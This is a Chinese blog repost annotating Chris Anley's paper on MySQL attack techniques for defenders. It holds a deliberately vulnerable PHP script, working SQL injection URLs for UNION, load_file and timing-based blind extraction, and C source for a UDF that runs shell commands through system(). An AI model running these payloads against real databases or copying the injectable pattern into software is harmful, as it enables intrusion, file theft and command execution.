zoukankan      html  css  js  c++  java
  • Hackproofing MySQL

    这是一篇很经典的论文,作者Chris Anley 是shellcode handbook的作者之一。我在写这篇文章的时候也参考了官方文档,这篇文章虽然已经满大街了,但是仔细读过还是学到了很多知识,有些地方限于技术和英文水平不能很好的理解,多有疏漏,请看官见谅。

    0x01 mysql介绍

    mysql号称是世界上最流行的开源数据库,它免费,而且跨平台,配置简单,而且在高负载工作时也能有很好的性能。相比其他的数据库,它的配置过于简单,由此大大挑战了mysql的安全性。本文介绍了mysql的常规攻击方法,使用者们可以防备这些攻击。(由于本文是2004年的文章,mysql已经更新到5.7版本,省略了版本介绍部分)

    0x02 网络中的mysql

    因为mysql 的免费,容易获得,很多个人电脑上都安装了mysql,不一定是专门的服务器。典型的配置里客户端通过TCP3306端口连接mysql,windows中则是通过命名管道(不推荐这种方式)。mysql默认两种都有。mysql使用的网络协议相对于其他的DBMS要简单,默认明文传输,4.0.0以上版本支持ssl。很容易检测出来一个主机使用的mysql版本,甚至也会返回操作系统的信息。端口扫描能泄漏很多主机的信息,管理员除了改源码也没有什么好办法。

    这样检测一下mysql是不是传输的加密数据(PS:如果是加密的也不意味着安全)
    shell>tcpdump -l -i eth0 -w - src or dst port 3306 | strings

    mysql大多数作为网页应用的后端,和Apache/PHP 网页应用一起作为web服务器。也有的作为日志服务器,IDS入侵探测记录或者其他的审计工作。在内部网络中的应用更加传统,桌面开发环境中总有mysql。

    鉴于历史上mysql是明文通信,通常用SSH加在密信道中端口转发连接3306端口。好处就是信息传输中被加密了,强行加了一道验证。
    要了解更多的安全配置还是看官方的推荐
    http://dev.mysql.com/doc/refman/5.7/en/security.html
    但是指南中通常建议将web服务器和mysql放在同一主机上,这样就可以禁止mysql的远程访问,但同时如果web服务器被攻击所有的数据库信息都会被窃取.SQL注入等漏洞也会导致攻击者修改数据库内容。虽然正确的权限管理会缓解一下情况,但是也应该时刻记住数据库和web服务器在同一个主机上给攻击者提供了很多便利。
    (因为都不是最新的漏洞了所以以下省略各种漏洞编号和简介)

    0x03mysql中的SQL注入

    即使安全社区多年不断的劝告和说教,SQL注入如今依然是个大问题,根本的原因是对用户输入没有充分过滤。
    php中'magic_quotes_rpc'选项控制PHP引擎是否自动转义单引号,双引号,反斜杠,NULL。

    $query = "SELECT * FROM user where user = '" . $_REQUEST['user'] . "'"; $query = "SELECT * FROM user order by " . $_REQUEST['user']; $query = "SELECT * FROM user where max_connections = " .$_REQUEST['user'];
    类似这样的语句,都存在SQL注入。
    如果没开启'magic_quotes_rpc' 安全性就会更差一点。

    接下来的问题是:黑客SQL注入攻击之后能干什么。
    一些危险操作列表

    • UNION SELECT
    • LOAD_FILE function
    • LOAD DATA INFILE statement
    • SELECT ... INTO OUTFILE statement
    • BENCHMARK function
    • User Defined Functions (UDFs)

    有个具体的实例可以更加形象的理解,以下有一段PHP代码(明显是虚构的只作为展示)

    <?php
    /* Connecting, selecting database */
    $link = mysql_connect("my_host", "root")
    or die("Could not connect : " . mysql_error());
    print "Connected successfully";
    mysql_select_db("mysql") or die("Could not select database");
    /* Performing SQL query */
    $query = "SELECT * FROM user where max_connections = " . $_REQUEST
    ['user'];
    print "<h3>Query: " . $query . "</h3>";
    $result = mysql_query($query) or die("Query failed : " .
    mysql_error());
    /* Printing results in HTML */
    print "<table>
    ";
    while ($line = mysql_fetch_array($result, MYSQL_ASSOC)) {
    print "	<tr>
    ";
    foreach ($line as $col_value) {
    print "		<td>$col_value</td>
    ";
    }
    print "	</tr>
    ";
    }
    print "</table>
    ";
    /* Free resultset */
    mysql_free_result($result);
    ?>
    /* Closing connection */
    
    联合查询UNION

    如今联合查询UNION已经成为了SQL注入攻击的重要分支。
    上面有一段代码像这样
    $query = "SELECT * FROM user where max_connections = " . $_REQUEST['user'];
    max_connection=0 表示root用户,如果我们请求这样的链接
    http://mysql.example.com/query.php?user=0
    得到user表的输出。

    如果我们想获得除user外其他有用的数据,UNION指令可以结合两次的查询结果,可以查询不同的表。既然UNION可以在WHERE子句之后,我们就可以选择任何的数据,有一些点需要注意。

    • 我们选择的指令返回的字段长度要和前一句一样(长度31如果你数了的话)
      +前后数据类型要匹配
      +如果我们的数据中包括文本,语句会被截断和第一句里一样长。

    如果我们想查询‘@@version’
    请求像这样
    http://mysql.examples.com/query.php?user=1+union+select+@@version,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1

    0x04 LOAD_FILE 函数

    LOAD_FILE函数用字符串形式返回了文件内容,例如在Windows下
    select load_file('c:/boot.ini');
    如果目标用PHP而且打开了魔术引号功能,那我们就不能用单引号了
    (原文说能够hex编码能够绕过,亲测不好用)
    因为这样只能显示前60个字符,用substring()解决问题
    http://mysql.example.com/query.php?user=1+union+select+substring(load_file (0x633a2f626f6f742e696e69),60), 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1

    LOAD DATA IN FILE

    如果SQL注入的环境允许攻击者注入复合语句,这就变成了一个严重的问题。
    通常这样利用

    load data infile 'c:/boot.ini' into table foo;
    select * from foo;```
    
    load data 一个危险的特性可能导致攻击者从客户端拿走文件(而不是服务端),这意味着从web服务器上就能读取文件,不用数据库服务器。
    这个问题已经在后面的版本中‘解决’了,需要检查配置客户端和服务端都需要同意才能启用这个功能,所以还要检查配置。
    ***
    PS:为了解决这个问题,LOAD DATA LOCAL 这样工作
    + 默认所有的mysql客户端和二进制文件编译的时候都用-DENABLED_LOCAL_INFILE=1 
    + 即使自己从源码编译的时候没有加上-DENABLED_LOCAL_INFILE=1 这一项,LOAD DATA LOCAL也不能被客户端调用,除非明确指出mysql_options(... MYSQL_OPT_LOCAL_INFILE , 0)
    + 服务端可以禁用所有的LOAD DATA LOCAL 命令 ,用--local-infile=0打开mysqld 
    + 对于命令行mysql客户端,--local-infile[=1]选项打开功能,--local-infile=0禁止。对于mysqlimport,默认是禁止的。可以用--local  -L 打开。
    无论怎样,想加载本地文件都需要服务端的同意。
    +如果你在Perl脚本中用了LOAD DATA LOCAL 或者其他程序在选项文件中读取了用户组,可以将这个组添加 local-infile 选项。或者为了避免麻烦,用loose-前缀
    `[client]
    loose-local-infile=1`
    + 如果LOAD DATA LOCAL被客户端或服务端禁止,客户端的错误消息
    `ERROR 1148 : The used command is not alleowed with this MySQL version`
    ***
    ####0x05 SELECT .. INTO OUTFILE
    这条语句为黑客指了一条控制mysql服务器的大道——创建一个不存在的配置文件。最近的版本中虽然不能修改存在的文件,但是可以创建一个新的。
    最好的例子是CAN-2003-0150,在3.23.55或更早的版本中可以覆盖my.cnf文件,配置MySQL以root用户重启。3.23.56修补了这个漏洞,但是通过确认’user‘设置 /etc/my.cnf 来覆盖 /datadir/my.cnf
    
    如果你想用SELECT..INTO OUTFILE创建一个二进制文件,特定的字母会被反斜杠转义,NULL用’‘替代。
    **SELECT ... INTO DUMPFILE**
    这条指令可以利用创建动态加载库,再包含一个恶意的UDF(自定义函数),然后用“CREATE FUNCTION”载入库,将函数链接到MySQL。
    这么说来,就是一个任意代码执行了。保证攻击的关键在于当MySQL加载动态库的时候攻击者要让它像要寻找的位置写入一个文件。它依赖于文件的权限和文件在系统的位置。
    
    ####0x06 时间延时和基准函数
    很多时候,web应用不返回任何的错误信息,他们都被有经验的开发者过滤了,给确认SQL注入漏洞带来了一些困难。
    这种情况下攻击者注入一个SQL延时语句,看请求的延时就更容易判断web应用的脆弱点。用条件语句和时间延时相结合能从数据中提取更多信息。
    
    MySQL中没有sleep和wait这种函数,可以用加密函数和benchmark替代。
    + ```select benchmark( 500000, sha1( 'test' ) );```
    计算sha1('test')500000次。在一个单核1.7GHz的机器上大约消耗五秒。
    请求URL
    `http://mysql.example.com/query.php?user=1+union+select+benchmark(500000,sha1
    (0x414141)),1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1`
    会让应用回应延迟10-15秒
    
    + 攻击者用这种方式来一步步探测信息,比如
    select if( user() like 'root@%', benchmark(100000,sha1('test')), 'false' );
    可以知道用户名是不是root
    + 下一步就是每次1bit的获取信息
    select if( (ascii(substring(user(),1,1)) >> 7) & 1, benchmark(100000,sha1('test')), 'false' );
    如果user()的第一bit是1 就延迟
    ***复合语句可以同时执行,所以这种方式不慢,也很可靠***
    
    #####0x07 User define functions
    MySQL提供了一个机制,默认函数可以自己扩展,通过定制动态加载库来使用UDF。
    'CREATE FUNCTION'命令和手动添加'mysql.func'中的条目都可以。
    库中的函数一定要在MySQL正常可获取的路径中。
    攻击者利用这种机制创建动态库,SELECT ... INTO DUMPFILE 将其写到合适的目录中,接着需要mysql.func的  'update','insert'的权限让MySQL加载库并执行函数。
    
    ***一个简单UDF库的例子***
    ```cpp
    #include <stdio.h>
    #include <stdlib.h>
    /*
    compile with something like
    gcc -g -c so_system.c
    then
    gcc -g -shared -W1,-soname,so_system.so.0 -o so_system.so.0.0 so_system.o -lc
    */
    enum Item_result {STRING_RESULT, REAL_RESULT, INT_RESULT, ROW_RESULT};
    typedef struct st_udf_args
    {
    unsigned int arg_count;    /* Number of arguments */
    enum Item_result *arg_type;/* Pointer to item_results */
    char **args;                       /* Pointer to argument */
    unsigned long *lengths;    /* Length of string arguments */
    char *maybe_null;             /* Set to 1 for all maybe_null args */
    } UDF_ARGS;
    typedef struct st_udf_init
    {
    char maybe_null;                /* 1 if function can return NULL */
    unsigned int decimals;               /* for real functions */
    unsigned long max_length; /* For string functions */
    char *ptr;             /* free pointer for function data */
    char const_item; /* 0 if result is independent of arguments */
    } UDF_INIT;
    int do_system( UDF_INIT *initid, UDF_ARGS *args, char *is_null, char *error)
    {
    if( args->arg_count != 1 )
    return 0;
    system( args->args[0] );
    return 0;
    }
    

    将函数添加到MySQL
    mysql> create function do_system returns integer soname 'so_system.so'; Query OK, 0 rows affected (0.00 sec) mysql> select * from mysql.func; mysql> select do_system('ls > /tmp/test.txt');//这样调用

    即使攻击者没有权限在目标系统中创建库,利用一些已有的库也可以达到恶意目的。
    攻击的难点在于大多数的函数参数不容易匹配MySQL的UDF原型。
    int xxx( UDF_INIT *initid, UDF_ARGS *args, char *is_null, char *error)
    尽管更富有经验的黑客会用已有的库构造任意代码执行,但是所有的错误基本可控,利用的价值不大。

    但是还是可以用系统库做一些坏事,调用Windows的结束进程作为MySQL的UDF会立即结束MySQL,即使调用的用户没有'Shutdown_priv'

    mysql> create function ExitProcess returns integer soname 'kernel32'; Query OK, 0 rows affected (0.17 sec) mysql> select exitprocess(); ERROR 2013: Lost connection to MySQL server during query
    还可以锁住用户的工作站
    mysql> create function LockWorkStation returns integer soname 'user32'; Query OK, 0 rows affected (0.00 sec) mysql> select LockWorkStation();

    MySQL的UDF机制对开发者和黑客都同样灵活多变,富有价值。
    小心的控制好MySQL的权限,尤其是mysql.func 表,文件权限,限制使用'SELECT .. INTO FILE'。

  • 相关阅读:
    素数路径Prime Path POJ3126 素数,BFS
    Fliptile POJ3279 DFS
    Find the Multiple POJ1426
    洗牌Shuffle'm Up POJ3087 模拟
    棋盘问题 POJ1321 DFS
    抓住那只牛!Catch That Cow POJ3278 BFS
    Dungeon Master POJ2251 三维BFS
    Splitting into digits CodeForce#1104A
    Ubuntu下手动安装Nvidia显卡驱动
    最大连续子序列和
  • 原文地址:https://www.cnblogs.com/moonnight/p/5440745.html
Copyright © 2011-2022 走看看